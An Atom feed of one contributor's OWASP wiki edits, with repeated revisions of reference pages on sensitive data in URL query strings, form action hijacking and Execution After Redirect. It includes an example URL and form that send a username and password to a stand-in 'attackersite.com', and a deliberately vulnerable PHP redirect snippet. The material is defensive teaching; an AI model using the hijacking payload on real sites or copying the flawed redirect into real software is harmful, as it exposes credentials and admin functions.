<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Robert+Gilbert</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Robert+Gilbert"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Robert_Gilbert"/>
		<updated>2026-05-28T09:25:37Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=244295</id>
		<title>Information exposure through query strings in url</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=244295"/>
				<updated>2018-10-17T13:33:37Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Updated &amp;quot;References&amp;quot; and &amp;quot;Related Attacks&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Information exposure through query strings in URL is when sensitive data is passed to parameters in the URL.&lt;br /&gt;
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.&lt;br /&gt;
Simply using HTTPS does not resolve this vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
Threat Agents: App Specific&lt;br /&gt;
Attack Vectors: Average&lt;br /&gt;
Security Weakness (prevalence): Common&lt;br /&gt;
Security Weakness (detectability): Difficult&lt;br /&gt;
Technical Impacts: Moderate&lt;br /&gt;
Business Impacts: App Specific&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
Regardless of using encryption, the following URL will expose information in the locations detailed below:&lt;br /&gt;
https://vulnerablehost.com/authuser?user=bob&amp;amp;authz_token=1234&amp;amp;expire=1500000000&lt;br /&gt;
&lt;br /&gt;
The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:&lt;br /&gt;
* Referer Header&lt;br /&gt;
* Web Logs&lt;br /&gt;
* Shared Systems&lt;br /&gt;
* Browser History&lt;br /&gt;
* Browser Cache&lt;br /&gt;
* Shoulder Surfing&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
When not using an encrypted channel, all of the above and the following:&lt;br /&gt;
* Man-in-the-Middle&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
=== Exposure Proof-of-Concept===&lt;br /&gt;
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:&lt;br /&gt;
https://vulnerablehost.com/information-exposure-log.png&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Forced_browsing Forced browsing]&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure  Top 10-2017 A3-Sensitive Data Exposure]&lt;br /&gt;
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]&lt;br /&gt;
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1.  Threat: Eavesdropping or Leaking Authorization &amp;quot;codes&amp;quot;]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]&lt;br /&gt;
&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
[[Category:Sensitive Data Protection Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Robert_Gilbert&amp;diff=242452</id>
		<title>User:Robert Gilbert</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Robert_Gilbert&amp;diff=242452"/>
				<updated>2018-08-10T15:43:00Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Added LinkedIn profile&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information security professional with several years working experience in security, project management, architecture, and support. Expertise in penetration testing and working closely with clients.&lt;br /&gt;
&lt;br /&gt;
https://amroot.com&lt;br /&gt;
&lt;br /&gt;
https://www.linkedin.com/in/robertgilbert808/&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Form_action_hijacking&amp;diff=233189</id>
		<title>Form action hijacking</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Form_action_hijacking&amp;diff=233189"/>
				<updated>2017-09-12T17:28:52Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Created page with &amp;quot;{{stub}} {{Template:Attack}}  Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''  ==Overview== Form action hijacking allows an attacker to spec...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Form action hijacking allows an attacker to specify the action URL of a form via a paramter. &lt;br /&gt;
An attacker can construct a URL that will modify the action URL of a form to point to the attacker's server. &lt;br /&gt;
Form content including CSRF tokens, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Test for Form Action Hijacking Vulnerabilities==&lt;br /&gt;
Check parameter values passed to the form action. See example below.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent Form Action Hijacking Vulnerabilities==&lt;br /&gt;
Hard-code the form action URL or use a whitelist of allowed URLs.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
The following URL will generate the a form and set the &amp;quot;url&amp;quot; parameter as the from action URL. When the form is submitted, the ID and password will be sent to the attacker's site. &lt;br /&gt;
&lt;br /&gt;
URL: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
https://vulnerablehost.com/?url=https://attackersite.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;form1&amp;quot; id=&amp;quot;form1&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://attackersite.com&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;id&amp;quot; value=&amp;quot;user name&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;pass&amp;quot; value=&amp;quot;password&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/20.html Common Weakness Enumeration - CWE-20: Improper Input Validation]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00501500_formactionhijackingreflected PortSwigger: Form action hijacking (reflected)]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00501501_formactionhijackingstored PortSwigger: Form action hijacking (stored)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Input Validation Vulnerability]]&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=229383</id>
		<title>Information exposure through query strings in url</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=229383"/>
				<updated>2017-05-03T17:36:20Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Updated description and proposed Risk Factors&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Information exposure through query strings in URL is when sensitive data is passed to parameters in the URL.&lt;br /&gt;
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.&lt;br /&gt;
Simply using HTTPS does not resolve this vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
Threat Agents: App Specific&lt;br /&gt;
Attack Vectors: Average&lt;br /&gt;
Security Weakness (prevalence): Common&lt;br /&gt;
Security Weakness (detectability): Difficult&lt;br /&gt;
Technical Impacts: Moderate&lt;br /&gt;
Business Impacts: App Specific&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
Regardless of using encryption, the following URL will expose information in the locations detailed below:&lt;br /&gt;
https://vulnerablehost.com/authuser?user=bob&amp;amp;authz_token=1234&amp;amp;expire=1500000000&lt;br /&gt;
&lt;br /&gt;
The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:&lt;br /&gt;
* Referer Header&lt;br /&gt;
* Web Logs&lt;br /&gt;
* Shared Systems&lt;br /&gt;
* Browser History&lt;br /&gt;
* Browser Cache&lt;br /&gt;
* Shoulder Surfing&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
When not using an encrypted channel, all of the above and the following:&lt;br /&gt;
* Man-in-the-Middle&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
=== Exposure Proof-of-Concept===&lt;br /&gt;
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:&lt;br /&gt;
https://vulnerablehost.com/information-exposure-log.png&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]&lt;br /&gt;
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1.  Threat: Eavesdropping or Leaking Authorization &amp;quot;codes&amp;quot;]&lt;br /&gt;
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]&lt;br /&gt;
&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
[[Category:Sensitive Data Protection Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=229381</id>
		<title>Information exposure through query strings in url</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=229381"/>
				<updated>2017-05-03T17:26:05Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Robert Gilbert moved page Information exposure through query strings in get request to Information exposure through query strings in url: The HTTP method is irrelevant. It will be exposed using GET, POST, etc. Proposed edit to CWE as well.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Information exposure through query strings in GET request is when sensitive data is passed to parameters in the URL.&lt;br /&gt;
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.&lt;br /&gt;
Simply using HTTPS does not resolve this vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
Regardless of using encryption, the following URL will expose information in the locations detailed below:&lt;br /&gt;
https://vulnerablehost.com/authuser?user=bob&amp;amp;authz_token=1234&amp;amp;expire=1500000000&lt;br /&gt;
&lt;br /&gt;
The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:&lt;br /&gt;
* Referer Header&lt;br /&gt;
* Web Logs&lt;br /&gt;
* Shared Systems&lt;br /&gt;
* Browser History&lt;br /&gt;
* Browser Cache&lt;br /&gt;
* Shoulder Surfing&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
When not using an encrypted channel, all of the above and the following:&lt;br /&gt;
* Man-in-the-Middle&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
=== Exposure Proof-of-Concept===&lt;br /&gt;
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:&lt;br /&gt;
https://vulnerablehost.com/information-exposure-log.png&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]&lt;br /&gt;
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1.  Threat: Eavesdropping or Leaking Authorization &amp;quot;codes&amp;quot;]&lt;br /&gt;
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]&lt;br /&gt;
&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
[[Category:Sensitive Data Protection Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_get_request&amp;diff=229382</id>
		<title>Information exposure through query strings in get request</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_get_request&amp;diff=229382"/>
				<updated>2017-05-03T17:26:05Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Robert Gilbert moved page Information exposure through query strings in get request to Information exposure through query strings in url: The HTTP method is irrelevant. It will be exposed using GET, POST, etc. Proposed edit to CWE as well.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Information exposure through query strings in url]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=229345</id>
		<title>Execution After Redirect (EAR)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=229345"/>
				<updated>2017-05-02T18:18:00Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Removed stub&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test for EAR Vulnerabilities==&lt;br /&gt;
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.&amp;lt;br&amp;gt;&lt;br /&gt;
# Intercept request https://vulnerablehost.com/managment_console&lt;br /&gt;
# Send to repeater.&lt;br /&gt;
# View response.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent EAR Vulnerabilities==&lt;br /&gt;
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
The following code will check to see if the parameter &amp;quot;loggedin&amp;quot; is true. If it is not true, it uses JavaScript to redirect the user to the login page.&lt;br /&gt;
Using the &amp;quot;How to Test for EAR Vulnerabilities&amp;quot; section or by disabling JavaScript in the browser, the same request is repeated without following the JavaScript redirect and the &amp;quot;Admin&amp;quot; section is accessible without authentication. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (!$loggedin) {&lt;br /&gt;
    print &amp;quot;&amp;lt;script&amp;gt;window.location = '/login';&amp;lt;/script&amp;gt;\n\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Admin&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;a href=/mu&amp;gt;Manage Users&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=/ud&amp;gt;Update Database Settings&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/698.html CWE-698: Execution After Redirect (EAR)]&lt;br /&gt;
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=229344</id>
		<title>Execution After Redirect (EAR)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=229344"/>
				<updated>2017-05-02T18:15:26Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: /* Examples */  - fixed code example formatting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test for EAR Vulnerabilities==&lt;br /&gt;
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.&amp;lt;br&amp;gt;&lt;br /&gt;
# Intercept request https://vulnerablehost.com/managment_console&lt;br /&gt;
# Send to repeater.&lt;br /&gt;
# View response.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent EAR Vulnerabilities==&lt;br /&gt;
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code will check to see if the parameter &amp;quot;loggedin&amp;quot; is true. If it is not true, it uses JavaScript to redirect the user to the login page.&lt;br /&gt;
Using the &amp;quot;How to Test for EAR Vulnerabilities&amp;quot; section or by disabling JavaScript in the browser, the same request is repeated without following the JavaScript redirect and the &amp;quot;Admin&amp;quot; section is accessible without authentication. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (!$loggedin) {&lt;br /&gt;
    print &amp;quot;&amp;lt;script&amp;gt;window.location = '/login';&amp;lt;/script&amp;gt;\n\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Admin&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;a href=/mu&amp;gt;Manage Users&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=/ud&amp;gt;Update Database Settings&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/698.html CWE-698: Execution After Redirect (EAR)]&lt;br /&gt;
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=229343</id>
		<title>Execution After Redirect (EAR)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=229343"/>
				<updated>2017-05-02T18:03:12Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: /* Examples */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test for EAR Vulnerabilities==&lt;br /&gt;
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.&amp;lt;br&amp;gt;&lt;br /&gt;
# Intercept request https://vulnerablehost.com/managment_console&lt;br /&gt;
# Send to repeater.&lt;br /&gt;
# View response.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent EAR Vulnerabilities==&lt;br /&gt;
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code will check to see if the parameter &amp;quot;loggedin&amp;quot; is true. If it is not true, it uses JavaScript to redirect the user to the login page.&lt;br /&gt;
Using the &amp;quot;How to Test for EAR Vulnerabilities&amp;quot; section or by disabling JavaScript in the browser, the same request is repeated without following the JavaScript redirect and the &amp;quot;Admin&amp;quot; section is accessible without authentication. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (!$loggedin) {&lt;br /&gt;
    print &amp;quot;&amp;lt;script&amp;gt;window.location = '/login';&amp;lt;/script&amp;gt;\n\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Admin&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;a href=/mu&amp;gt;Manage Users&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=/ud&amp;gt;Update Database Settings&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/698.html CWE-698: Execution After Redirect (EAR)]&lt;br /&gt;
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=229341</id>
		<title>Execution After Redirect (EAR)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=229341"/>
				<updated>2017-05-02T17:07:13Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Added link to CWE-698&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test for EAR Vulnerabilities==&lt;br /&gt;
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.&amp;lt;br&amp;gt;&lt;br /&gt;
# Intercept request https://vulnerablehost.com/managment_console&lt;br /&gt;
# Send to repeater.&lt;br /&gt;
# View response.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent EAR Vulnerabilities==&lt;br /&gt;
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/698.html CWE-698: Execution After Redirect (EAR)]&lt;br /&gt;
